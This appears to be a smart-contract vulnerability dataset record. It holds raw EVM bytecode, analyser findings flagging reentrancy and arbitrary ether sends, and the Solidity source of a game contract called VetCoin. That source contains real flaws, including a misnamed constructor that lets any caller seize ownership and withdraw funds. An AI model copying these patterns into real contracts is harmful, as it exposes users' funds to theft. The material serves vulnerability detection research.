900460ff1681565b6105db610c31565b6000546001600160a01b0390811691161461062b576040805162461bcd60e51b815260206004820181905260248201526000805160206119ef833981519152604482015290519081900360640190fd5b476106358161113b565b50565b6001600160a01b0381166000908152600160205260408120546104999061125f565b600e54600160a01b900460ff1681565b610672610c31565b6000546001600160a01b039081169116146106c2576040805162461bcd60e51b815260206004820181905260248201526000805160206119ef833981519152604482015290519081900360640190fd5b600e54600160a81b900460ff166106d857600080fd5b600e805460ff60a01b1916600160a01b179055565b6000546001600160a01b031690565b6000610495610709610c31565b8484610d21565b610718610c31565b6000546001600160a01b03908116911614610768576040805162461bcd60e51b815260206004820181905260248201526000805160206119ef833981519152604482015290519081900360640190fd5b600061077330610638565b9050610635816112bf565b610786610c31565b6000546001600160a01b039081169116146107d6576040805162461bcd60e51b815260206004820181905260248201526000805160206119ef833981519152604482015290519081900360640190fd5b6000811161082b576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b61084b60646108458360035461148e90919063ffffffff16565b906114e7565b600f81905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6108b8610c31565b6000546001600160a01b03908116911614610908576040805162461bcd60e51b815260206004820181905260248201526000805160206119ef833981519152604482015290519081900360640190fd5b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811791829055600354909161094c9130916001600160a01b031690610c35565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561098557600080fd5b505afa158015610999573d6000803e3d6000fd5b505050506040513d60208110156109af57600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b1580156109ff57600080fd5b505afa158015610a13573d6000803e3d6000fd5b505050506040513d6020811015610a2957600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610a7b57600080fd5b505af1158015610a8f573d6000803e3d6000fd5b505050506040513d6020811015610aa557600080fd5b5051600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d7194730610ad781610638565b600080610ae26106ed565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610b4d57600080fd5b505af1158015610b61573d6000803e3d6000fd5b50505050506040513d6060811015610b7857600080fd5b5050600e805460ff60a81b1960ff60b81b19909116600160b81b1716600160a81b1790819055680796e3ea3f8ab00000600f55600d546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610c0257600080fd5b505af1158015610c16573d6000803e3d6000fd5b505050506040513d6020811015610c2c57600080fd5b505050565b3390565b6001600160a01b038316610c7a5760405162461bcd60e51b8152600401808060200182810382526024815260200180611a5d6024913960400191505060405180910390fd5b6001600160a01b038216610cbf5760405162461bcd60e51b81526004018080602001828103825260228152602001806119846022913960400191505060405180910390fd5b6001600160a01b03808416600081815260066020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610d665760405162461bcd60e51b8152600401808060200182810382526025815260200180611a386025913960400191505060405180910390fd5b6001600160a01b038216610dab5760405162461bcd60e51b81526004018080602001828103825260238152602001806119376023913960400191505060405180910390fd5b60008111610dea5760405162461bcd60e51b8152600401808060200182810382526029815260200180611a0f6029913960400191505060405180910390fd5b6001600160a01b03821660009081526007602052604090205460ff16158015610e2c57506001600160a01b03831660009081526007602052604090205460ff16155b1561104757600e546001600160a01b038481169116148015610e5c5750600d546001600160a01b03838116911614155b8015610e8157506001600160a01b03821660009081526007602052604090205460ff16155b15610f2a57600e54600160a01b900460ff16610e9c57600080fd5b6001600160a01b0382166000908152600860205260409020544211610ec057600080fd5b6000610ecb83610638565b600354909150610edc9060146114e7565b610ee68383611529565b1115610ef157600080fd5b600f54821115610f0057600080fd5b506001600160a01b0382166000908152600860205260409020601e42019055600c60115560036010555b6000610f3530610638565b600e54909150600160b01b900460ff16158015610f605750600e546001600160a01b03858116911614155b8015610f755750600e54600160b81b900460ff165b8015610f9a57506001600160a01b03831660009081526007602052604090205460ff16155b8015610fbf57506001600160a01b03841660009081526007602052604090205460ff16155b1561104557600e54610fe090601490610845906001600160a01b0316610638565b821115610fec57600080fd5b6001600160a01b038416600090815260086020526040902054421161101057600080fd5b4761101a826112bf565b4760006110278284611583565b90508015611038576110388161113b565b5050601180555060036010555b505b6001600160a01b03831660009081526007602052604090205460019060ff168061108957506001600160a01b03831660009081526007602052604090205460ff165b15611092575060005b61109e848484846115c5565b50505050565b600081848411156111335760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156110f85781810151838201526020016110e0565b50505050905090810190601f1680156111255780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600a546001600160a01b03166108fc611160600661115a8560146114e7565b9061148e565b6040518115909202916000818181858888f19350505050158015611188573d6000803e3d6000fd5b50600b546001600160a01b03166108fc6111a8600361115a8560146114e7565b6040518115909202916000818181858888f193505050501580156111d0573d6000803e3d6000fd5b506009546001600160a01b03166108fc6111f0600a61115a8560146114e7565b6040518115909202916000818181858888f19350505050158015611218573d6000803e3d6000fd5b50600c546001600160a01b03166108fc6112338360146114e7565b6040518115909202916000818181858888f1935050505015801561125b573d6000803e3d6000fd5b5050565b60006004548211156112a25760405162461bcd60e51b815260040180806020018281038252602a81526020018061195a602a913960400191505060405180910390fd5b60006112ac6115f1565b90506112b883826114e7565b9392505050565b600e805460ff60b01b1916600160b01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061130157fe5b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561135557600080fd5b505afa158015611369573d6000803e3d6000fd5b505050506040513d602081101561137f57600080fd5b505181518290600190811061139057fe5b6001600160a01b039283166020918202929092010152600d546113b69130911684610c35565b600d5460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561143c578181015183820152602001611424565b505050509050019650505050505050600060405180830381600087803b15801561146557600080fd5b505af1158015611479573d6000803e3d6000fd5b5050600e805460ff60b01b1916905550505050565b60008261149d57506000610499565b828202828482816114aa57fe5b04146112b85760405162461bcd60e51b81526004018080602001828103825260218152602001806119a66021913960400191505060405180910390fd5b60006112b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611614565b6000828201838110156112b8576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60006112b883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110a4565b806115d2576115d2611679565b6115dd8484846116a0565b8061109e5761109e6003601055600c601155565b60008060006115fe611795565b909250905061160d82826114e7565b9250505090565b600081836116635760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156110f85781810151838201526020016110e0565b50600083858161166f57fe5b0495945050505050565b6010541580156116895750601154155b156116935761169e565b600060108190556011555b565b6000806000806000806116b2876117cc565b6001600160a01b038f16600090815260016020526040902054959b509399509197509550935091506116e49087611583565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546117139086611529565b6001600160a01b03891660009081526001602052604090205561173581611829565b61173f8483611873565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60045460035460009182916117aa82826114e7565b8210156117c2576004546003549350935050506117c8565b90925090505b9091565b60008060008060008060008060006117e98a601054601154611897565b92509250925060006117f96115f1565b9050600080600061180c8e8787876118e6565b919e509c509a509598509396509194505050505091939550919395565b60006118336115f1565b90506000611841838361148e565b3060009081526001602052604090205490915061185e9082611529565b30600090815260016020526040902055505050565b6004546118809083611583565b6004556005546118909082611529565b6005555050565b60008080806118ab6064610845898961148e565b905060006118be60646108458a8961148e565b905060006118d6826118d08b86611583565b90611583565b9992985090965090945050505050565b60008080806118f5888661148e565b90506000611903888761148e565b90506000611911888861148e565b90506000611923826118d08686611583565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122007609d50445b88017525b5a88195b7c7dd318935788227ccd475202b13cf738364736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
203
0x0948d85e3ed03ae537eed0cd2398f2338082a8e7
pragma solidity ^0.4.18; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b <= a); c = a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a * b; require(a == 0 || c / a == b); } } library NumericSequence { using SafeMath for uint256; function sumOfN(uint256 basePrice, uint256 pricePerLevel, uint256 owned, uint256 count) internal pure returns (uint256 price) { require(count > 0); price = 0; price += SafeMath.mul((basePrice + pricePerLevel * owned), count); price += pricePerLevel * (count.mul((count-1))) / 2; } } //----------------------------------------------------------------------- contract VetCoin { using NumericSequence for uint; using SafeMath for uint; struct MinerData { uint256[9] rigs; // rig types and their upgrades uint8[3] hasUpgrade; uint256 money; uint256 lastUpdateTime; uint256 premamentMineBonusPct; uint256 unclaimedPot; uint256 lastPotClaimIndex; } struct RigData { uint256 basePrice; uint256 baseOutput; uint256 pricePerLevel; uint256 priceInETH; uint256 limit; } struct BoostData { uint256 percentBonus; uint256 priceInWEI; } struct PVPData { uint256[6] troops; uint256 immunityTime; uint256 exhaustTime; } struct TroopData { uint256 attackPower; uint256 defensePower; uint256 priceGold; uint256 priceETH; } uint8 private constant NUMBER_OF_RIG_TYPES = 9; RigData[9] private rigData; uint8 private constant NUMBER_OF_UPGRADES = 3; BoostData[3] private boostData; uint8 private constant NUMBER_OF_TROOPS = 6; uint8 private constant ATTACKER_START_IDX = 0; uint8 private constant ATTACKER_END_IDX = 3; uint8 private constant DEFENDER_START_IDX = 3; uint8 private constant DEFENDER_END_IDX = 6; TroopData[6] private troopData; // honey pot variables uint256 private honeyPotAmount; uint256 private honeyPotSharePct; // 90% uint256 private jackPot; uint256 private devFund; uint256 private nextPotDistributionTime; mapping(address => mapping(uint256 => uint256)) private minerICOPerCycle; uint256[] private honeyPotPerCycle; uint256[] private globalICOPerCycle; uint256 private cycleCount; //booster info uint256 private constant NUMBER_OF_BOOSTERS = 5; uint256 private boosterIndex; uint256 private nextBoosterPrice; address[5] private boosterHolders; mapping(address => MinerData) private miners; mapping(address => PVPData) private pvpMap; mapping(uint256 => address) private indexes; uint256 private topindex; address private owner; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function Vets() public { owner = msg.sender; // price, prod. upgrade, priceETH, limit rigData[0] = RigData(128, 1, 64, 0, 64); rigData[1] = RigData(1024, 64, 512, 0, 64); rigData[2] = RigData(204800, 1024, 102400, 0, 128); rigData[3] = RigData(25600000, 8192, 12800000, 0, 128); rigData[4] = RigData(30000000000, 65536, 30000000000, 0.01 ether, 256); rigData[5] = RigData(30000000000, 100000, 10000000000, 0, 256); rigData[6] = RigData(300000000000, 500000, 100000000000, 0, 256); rigData[7] = RigData(50000000000000, 3000000, 12500000000000, 0.1 ether, 256); rigData[8] = RigData(100000000000000, 30000000, 50000000000000, 0, 256); boostData[0] = BoostData(30, 0.01 ether); boostData[1] = BoostData(50, 0.1 ether); boostData[2] = BoostData(100, 1 ether); topindex = 0; honeyPotAmount = 0; devFund = 0; jackPot = 0; nextPotDistributionTime = block.timestamp; honeyPotSharePct = 90; // has to be set to a value boosterHolders[0] = owner; boosterHolders[1] = owner; boosterHolders[2] = owner; boosterHolders[3] = owner; boosterHolders[4] = owner; boosterIndex = 0; nextBoosterPrice = 0.1 ether; //pvp troopData[0] = TroopData(10, 0, 100000, 0); troopData[1] = TroopData(1000, 0, 80000000, 0); troopData[2] = TroopData(100000, 0, 0, 0.01 ether); troopData[3] = TroopData(0, 15, 100000, 0); troopData[4] = TroopData(0, 1500, 80000000, 0); troopData[5] = TroopData(0, 150000, 0, 0.01 ether); honeyPotPerCycle.push(0); globalICOPerCycle.push(1); cycleCount = 0; } //-------------------------------------------------------------------------- // Data access functions //-------------------------------------------------------------------------- function GetMinerData(address minerAddr) public constant returns (uint256 money, uint256 lastupdate, uint256 prodPerSec, uint256[9] rigs, uint[3] upgrades, uint256 unclaimedPot, bool hasBooster, uint256 unconfirmedMoney) { uint8 i = 0; money = miners[minerAddr].money; lastupdate = miners[minerAddr].lastUpdateTime; prodPerSec = GetProductionPerSecond(minerAddr); for(i = 0; i < NUMBER_OF_RIG_TYPES; ++i) { rigs[i] = miners[minerAddr].rigs[i]; } for(i = 0; i < NUMBER_OF_UPGRADES; ++i) { upgrades[i] = miners[minerAddr].hasUpgrade[i]; } unclaimedPot = miners[minerAddr].unclaimedPot; hasBooster = HasBooster(minerAddr); unconfirmedMoney = money + (prodPerSec * (now - lastupdate)); } function GetTotalMinerCount() public constant returns (uint256 count) { count = topindex; } function GetMinerAt(uint256 idx) public constant returns (address minerAddr) { require(idx < topindex); minerAddr = indexes[idx]; } function GetPotInfo() public constant returns (uint256 _honeyPotAmount, uint256 _devFunds, uint256 _jackPot, uint256 _nextDistributionTime) { _honeyPotAmount = honeyPotAmount; _devFunds = devFund; _jackPot = jackPot; _nextDistributionTime = nextPotDistributionTime; } function GetProductionPerSecond(address minerAddr) public constant returns (uint256 personalProduction) { MinerData storage m = miners[minerAddr]; personalProduction = 0; uint256 productionSpeed = 100 + m.premamentMineBonusPct; if(HasBooster(minerAddr)) // 500% bonus productionSpeed += 500; for(uint8 j = 0; j < NUMBER_OF_RIG_TYPES; ++j) { personalProduction += m.rigs[j] * rigData[j].baseOutput; } personalProduction = personalProduction * productionSpeed / 100; } function GetGlobalProduction() public constant returns (uint256 globalMoney, uint256 globalHashRate) { globalMoney = 0; globalHashRate = 0; uint i = 0; for(i = 0; i < topindex; ++i) { MinerData storage m = miners[indexes[i]]; globalMoney += m.money; globalHashRate += GetProductionPerSecond(indexes[i]); } } function GetBoosterData() public constant returns (address[5] _boosterHolders, uint256 currentPrice, uint256 currentIndex) { for(uint i = 0; i < NUMBER_OF_BOOSTERS; ++i) { _boosterHolders[i] = boosterHolders[i]; } currentPrice = nextBoosterPrice; currentIndex = boosterIndex; } function HasBooster(address addr) public constant returns (bool hasBoost) { for(uint i = 0; i < NUMBER_OF_BOOSTERS; ++i) { if(boosterHolders[i] == addr) return true; } return false; } function GetPVPData(address addr) public constant returns (uint256 attackpower, uint256 defensepower, uint256 immunityTime, uint256 exhaustTime, uint256[6] troops) { PVPData storage a = pvpMap[addr]; immunityTime = a.immunityTime; exhaustTime = a.exhaustTime; attackpower = 0; defensepower = 0; for(uint i = 0; i < NUMBER_OF_TROOPS; ++i) { attackpower += a.troops[i] * troopData[i].attackPower; defensepower += a.troops[i] * troopData[i].defensePower; troops[i] = a.troops[i]; } } function GetCurrentICOCycle() public constant returns (uint256) { return cycleCount; } function GetICOData(uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOPot) { require(idx <= cycleCount); ICOFund = globalICOPerCycle[idx]; if(idx < cycleCount) { ICOPot = honeyPotPerCycle[idx]; } else { ICOPot = honeyPotAmount / 5; // actual day estimate } } function GetMinerICOData(address miner, uint256 idx) public constant returns (uint256 ICOFund, uint256 ICOShare, uint256 lastClaimIndex) { require(idx <= cycleCount); ICOFund = minerICOPerCycle[miner][idx]; if(idx < cycleCount) { ICOShare = (honeyPotPerCycle[idx] * minerICOPerCycle[miner][idx]) / globalICOPerCycle[idx]; } else { ICOShare = (honeyPotAmount / 5) * minerICOPerCycle[miner][idx] / globalICOPerCycle[idx]; } lastClaimIndex = miners[miner].lastPotClaimIndex; } function GetMinerUnclaimedICOShare(address miner) public constant returns (uint256 unclaimedPot) { MinerData storage m = miners[miner]; require(m.lastUpdateTime != 0); require(m.lastPotClaimIndex < cycleCount); uint256 i = m.lastPotClaimIndex; uint256 limit = cycleCount; if((limit - i) > 30) // more than 30 iterations(days) afk limit = i + 30; unclaimedPot = 0; for(; i < cycleCount; ++i) { if(minerICOPerCycle[msg.sender][i] > 0) unclaimedPot += (honeyPotPerCycle[i] * minerICOPerCycle[miner][i]) / globalICOPerCycle[i]; } } // ------------------------------------------------------------------------- // RigWars game handler functions // ------------------------------------------------------------------------- function StartNewMiner() external { require(miners[msg.sender].lastUpdateTime == 0); miners[msg.sender].lastUpdateTime = block.timestamp; miners[msg.sender].money = 0; miners[msg.sender].rigs[0] = 1; miners[msg.sender].unclaimedPot = 0; miners[msg.sender].lastPotClaimIndex = cycleCount; pvpMap[msg.sender].immunityTime = block.timestamp + 28800; pvpMap[msg.sender].exhaustTime = block.timestamp; indexes[topindex] = msg.sender; ++topindex; } function UpgradeRig(uint8 rigIdx, uint16 count) external { require(rigIdx < NUMBER_OF_RIG_TYPES); require(count > 0); require(count <= 256); MinerData storage m = miners[msg.sender]; require(rigData[rigIdx].limit >= (m.rigs[rigIdx] + count)); UpdateMoney(); // the base of geometrical sequence uint256 price = NumericSequence.sumOfN(rigData[rigIdx].basePrice, rigData[rigIdx].pricePerLevel, m.rigs[rigIdx], count); require(m.money >= price); m.rigs[rigIdx] = m.rigs[rigIdx] + count; if(m.rigs[rigIdx] > rigData[rigIdx].limit) m.rigs[rigIdx] = rigData[rigIdx].limit; m.money -= price; } function UpgradeRigETH(uint8 rigIdx, uint256 count) external payable { require(rigIdx < NUMBER_OF_RIG_TYPES); require(count > 0); require(count <= 256); require(rigData[rigIdx].priceInETH > 0); MinerData storage m = miners[msg.sender]; require(rigData[rigIdx].limit >= (m.rigs[rigIdx] + count)); uint256 price = (rigData[rigIdx].priceInETH).mul(count); require(msg.value >= price); BuyHandler(msg.value); UpdateMoney(); m.rigs[rigIdx] = m.rigs[rigIdx] + count; if(m.rigs[rigIdx] > rigData[rigIdx].limit) m.rigs[rigIdx] = rigData[rigIdx].limit; } function UpdateMoney() private { require(miners[msg.sender].lastUpdateTime != 0); require(block.timestamp >= miners[msg.sender].lastUpdateTime); MinerData storage m = miners[msg.sender]; uint256 diff = block.timestamp - m.lastUpdateTime; uint256 revenue = GetProductionPerSecond(msg.sender); m.lastUpdateTime = block.timestamp; if(revenue > 0) { revenue *= diff; m.money += revenue; } } function UpdateMoneyAt(address addr) private { require(miners[addr].lastUpdateTime != 0); require(block.timestamp >= miners[addr].lastUpdateTime); MinerData storage m = miners[addr]; uint256 diff = block.timestamp - m.lastUpdateTime; uint256 revenue = GetProductionPerSecond(addr); m.lastUpdateTime = block.timestamp; if(revenue > 0) { revenue *= diff; m.money += revenue; } } function BuyUpgrade(uint256 idx) external payable { require(idx < NUMBER_OF_UPGRADES); require(msg.value >= boostData[idx].priceInWEI); require(miners[msg.sender].hasUpgrade[idx] == 0); require(miners[msg.sender].lastUpdateTime != 0); BuyHandler(msg.value); UpdateMoney(); miners[msg.sender].hasUpgrade[idx] = 1; miners[msg.sender].premamentMineBonusPct += boostData[idx].percentBonus; } //-------------------------------------------------------------------------- // BOOSTER handlers //-------------------------------------------------------------------------- function BuyBooster() external payable { require(msg.value >= nextBoosterPrice); require(miners[msg.sender].lastUpdateTime != 0); for(uint i = 0; i < NUMBER_OF_BOOSTERS; ++i) if(boosterHolders[i] == msg.sender) revert(); address beneficiary = boosterHolders[boosterIndex]; MinerData storage m = miners[beneficiary]; // 20% interest after 5 buys m.unclaimedPot += (msg.value * 9403) / 10000; // distribute the rest honeyPotAmount += (msg.value * 597) / 20000; devFund += (msg.value * 597) / 20000; // increase price by 5% nextBoosterPrice += nextBoosterPrice / 20; UpdateMoney(); UpdateMoneyAt(beneficiary); // transfer ownership boosterHolders[boosterIndex] = msg.sender; // increase booster index boosterIndex += 1; if(boosterIndex >= 5) boosterIndex = 0; } //-------------------------------------------------------------------------- // PVP handler //-------------------------------------------------------------------------- // 0 for attacker 1 for defender function BuyTroop(uint256 idx, uint256 count) external payable { require(idx < NUMBER_OF_TROOPS); require(count > 0); require(count <= 1000); PVPData storage pvp = pvpMap[msg.sender]; MinerData storage m = miners[msg.sender]; uint256 owned = pvp.troops[idx]; uint256 priceGold = NumericSequence.sumOfN(troopData[idx].priceGold, troopData[idx].priceGold, owned, count); uint256 priceETH = (troopData[idx].priceETH).mul(count); UpdateMoney(); require(m.money >= priceGold); require(msg.value >= priceETH); if(priceGold > 0) m.money -= priceGold; if(msg.value > 0) BuyHandler(msg.value); pvp.troops[idx] += count; } function Attack(address defenderAddr) external { require(msg.sender != defenderAddr); require(miners[msg.sender].lastUpdateTime != 0); require(miners[defenderAddr].lastUpdateTime != 0); PVPData storage attacker = pvpMap[msg.sender]; PVPData storage defender = pvpMap[defenderAddr]; uint i = 0; uint256 count = 0; require(block.timestamp > attacker.exhaustTime); require(block.timestamp > defender.immunityTime); // the aggressor loses immunity if(attacker.immunityTime > block.timestamp) attacker.immunityTime = block.timestamp - 1; attacker.exhaustTime = block.timestamp + 7200; uint256 attackpower = 0; uint256 defensepower = 0; for(i = 0; i < ATTACKER_END_IDX; ++i) { attackpower += attacker.troops[i] * troopData[i].attackPower; defensepower += defender.troops[i + DEFENDER_START_IDX] * troopData[i + DEFENDER_START_IDX].defensePower; } if(attackpower > defensepower) { if(defender.immunityTime < block.timestamp + 14400) defender.immunityTime = block.timestamp + 14400; UpdateMoneyAt(defenderAddr); MinerData storage m = miners[defenderAddr]; MinerData storage m2 = miners[msg.sender]; uint256 moneyStolen = m.money / 2; for(i = DEFENDER_START_IDX; i < DEFENDER_END_IDX; ++i) { defender.troops[i] = 0; } for(i = ATTACKER_START_IDX; i < ATTACKER_END_IDX; ++i) { if(troopData[i].attackPower > 0) { count = attacker.troops[i]; // if the troops overpower the total defense power only a fraction is lost if((count * troopData[i].attackPower) > defensepower) count = defensepower / troopData[i].attackPower; attacker.troops[i] -= count; defensepower -= count * troopData[i].attackPower; } } m.money -= moneyStolen; m2.money += moneyStolen; } else { for(i = ATTACKER_START_IDX; i < ATTACKER_END_IDX; ++i) { attacker.troops[i] = 0; } for(i = DEFENDER_START_IDX; i < DEFENDER_END_IDX; ++i) { if(troopData[i].defensePower > 0) { count = defender.troops[i]; // if the troops overpower the total defense power only a fraction is lost if((count * troopData[i].defensePower) > attackpower) count = attackpower / troopData[i].defensePower; defender.troops[i] -= count; attackpower -= count * troopData[i].defensePower; } } } } //-------------------------------------------------------------------------- // ICO/Pot share functions //-------------------------------------------------------------------------- function ReleaseICO() external { require(miners[msg.sender].lastUpdateTime != 0); require(nextPotDistributionTime <= block.timestamp); require(honeyPotAmount > 0); require(globalICOPerCycle[cycleCount] > 0); nextPotDistributionTime = block.timestamp + 86400; honeyPotPerCycle[cycleCount] = honeyPotAmount / 5; // 20% of the pot honeyPotAmount -= honeyPotAmount / 5; honeyPotPerCycle.push(0); globalICOPerCycle.push(0); cycleCount = cycleCount + 1; MinerData storage jakpotWinner = miners[msg.sender]; jakpotWinner.unclaimedPot += jackPot; jackPot = 0; } function FundICO(uint amount) external { require(miners[msg.sender].lastUpdateTime != 0); require(amount > 0); MinerData storage m = miners[msg.sender]; UpdateMoney(); require(m.money >= amount); m.money = (m.money).sub(amount); globalICOPerCycle[cycleCount] = globalICOPerCycle[cycleCount].add(uint(amount)); minerICOPerCycle[msg.sender][cycleCount] = minerICOPerCycle[msg.sender][cycleCount].add(uint(amount)); } function WithdrawICOEarnings() external { MinerData storage m = miners[msg.sender]; require(miners[msg.sender].lastUpdateTime != 0); require(miners[msg.sender].lastPotClaimIndex < cycleCount); uint256 i = m.lastPotClaimIndex; uint256 limit = cycleCount; if((limit - i) > 30) // more than 30 iterations(days) afk limit = i + 30; m.lastPotClaimIndex = limit; for(; i < cycleCount; ++i) { if(minerICOPerCycle[msg.sender][i] > 0) m.unclaimedPot += (honeyPotPerCycle[i] * minerICOPerCycle[msg.sender][i]) / globalICOPerCycle[i]; } } //-------------------------------------------------------------------------- // ETH handler functions //-------------------------------------------------------------------------- function BuyHandler(uint amount) private { // add 90% to honeyPot honeyPotAmount += (amount * honeyPotSharePct) / 100; jackPot += amount / 100; devFund += (amount * (100-(honeyPotSharePct+1))) / 100; } function WithdrawPotShare() public { MinerData storage m = miners[msg.sender]; require(m.unclaimedPot > 0); require(m.lastUpdateTime != 0); uint256 amntToSend = m.unclaimedPot; m.unclaimedPot = 0; if(msg.sender.send(amntToSend)) { m.unclaimedPot = 0; } } function WithdrawDevFunds() public { require(msg.sender == owner); if(owner.send(devFund)) { devFund = 0; } } // fallback payment to pot function() public payable { devFund += msg.value; } }
0x6080604052600436106101535763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630116bfc0811461015d578063036a66eb1461016a5780631fd86a6a1461019d57806333ad9495146101b55780633a70eabd146101ca57806356a4e7f9146101eb5780635b1fef12146102195780636e4dd931146102915780638357417d146102cc578063996f7602146102e15780639f0eed0f146102f6578063af2995101461030b578063b4b9cd6214610340578063b4beff8a14610362578063b4e6f92b146103a4578063b6ecd81c146103b2578063badb2e5a146103c7578063bc346c9c146103d8578063bd1f7d52146103f9578063cb68780f14610452578063cc0f65f71461046a578063d291fa8114610520578063d511beec14610554578063dee8bd5114610569578063f362b9af1461057e578063fdade29f14610593575b604e805434019055005b61016860043561059b565b005b34801561017657600080fd5b5061018b600160a060020a03600435166106cb565b60408051918252519081900360200190f35b3480156101a957600080fd5b5061016860043561075d565b3480156101c157600080fd5b50610168610887565b3480156101d657600080fd5b5061018b600160a060020a0360043516610906565b3480156101f757600080fd5b50610200610a0e565b6040805192835260208301919091528051918290030190f35b34801561022557600080fd5b5061023a600160a060020a0360043516610a74565b6040518086815260200185815260200184815260200183815260200182600660200280838360005b8381101561027a578181015183820152602001610262565b505050509050019550505050505060405180910390f35b34801561029d57600080fd5b506102a6610b40565b604080519485526020850193909352838301919091526060830152519081900360800190f35b3480156102d857600080fd5b50610168610b54565b3480156102ed57600080fd5b5061018b610ba7565b34801561030257600080fd5b5061018b610bad565b34801561031757600080fd5b5061032c600160a060020a0360043516610bb3565b604080519115158252519081900360200190f35b34801561034c57600080fd5b5061016860ff6004351661ffff60243516610c04565b34801561036e57600080fd5b50610386600160a060020a0360043516602435610d9a565b60408051938452602084019290925282820152519081900360600190f35b610168600435602435610eba565b3480156103be57600080fd5b50610168610fed565b61016860ff60043516602435611535565b3480156103e457600080fd5b50610168600160a060020a03600435166116b2565b34801561040557600080fd5b5061040e611a4d565b604051808460a080838360005b8381101561043357818101518382015260200161041b565b5050505091909101938452505060208201526040805191829003019150f35b34801561045e57600080fd5b50610200600435611ab2565b34801561047657600080fd5b5061048b600160a060020a0360043516611b19565b6040518089815260200188815260200187815260200186600960200280838360005b838110156104c55781810151838201526020016104ad565b5050505090500185600360200280838360005b838110156104f05781810151838201526020016104d8565b50505050905001848152602001831515151581526020018281526020019850505050505050505060405180910390f35b34801561052c57600080fd5b50610538600435611c63565b60408051600160a060020a039092168252519081900360200190f35b34801561056057600080fd5b50610168611c90565b34801561057557600080fd5b50610168611dba565b34801561058a57600080fd5b50610168611efa565b610168611faa565b600381106105a857600080fd5b602d81600381106105b557fe5b600202016001015434101515156105cb57600080fd5b600160a060020a0333166000908152605b6020526040902060090181600381106105f157fe5b602081049091015460ff601f9092166101000a9004161561061157600080fd5b600160a060020a0333166000908152605b60205260409020600b0154151561063857600080fd5b61064134612109565b61064961213c565b600160a060020a0333166000908152605b60205260409020600190600901826003811061067257fe5b602091828204019190066101000a81548160ff021916908360ff160217905550602d816003811015156106a157fe5b6002020154600160a060020a0333166000908152605b60205260409020600c018054909101905550565b600160a060020a0381166000908152605b60205260408120600c810154606401826106f585610bb3565b15610702576101f4820191505b5060005b600960ff8216101561074e57600060ff82166009811061072257fe5b6005020160010154836000018260ff1660098110151561073e57fe5b0154029390930192600101610706565b60648483020495945050505050565b600160a060020a0333166000908152605b60205260408120600b0154151561078457600080fd5b6000821161079157600080fd5b50600160a060020a0333166000908152605b602052604090206107b261213c565b600a8101548211156107c357600080fd5b600a8101546107d8908363ffffffff6121df16565b600a8201556053546052805461080c9285929181106107f357fe5b90600052602060002001546121f490919063ffffffff16565b605260535481548110151561081d57fe5b6000918252602080832090910192909255600160a060020a03331681526050825260408082206053548352909252205461085d908363ffffffff6121f416565b600160a060020a033316600090815260506020908152604080832060535484529091529020555050565b600160a060020a0333166000908152605b60205260408120600d81015490919081106108b257600080fd5b600b82015415156108c257600080fd5b50600d810180546000918290556040519091600160a060020a0333169183156108fc0291849190818181858888f1935050505015610902576000600d8301555b5050565b600160a060020a0381166000908152605b60205260408120600b81015482908190151561093257600080fd5b605354600e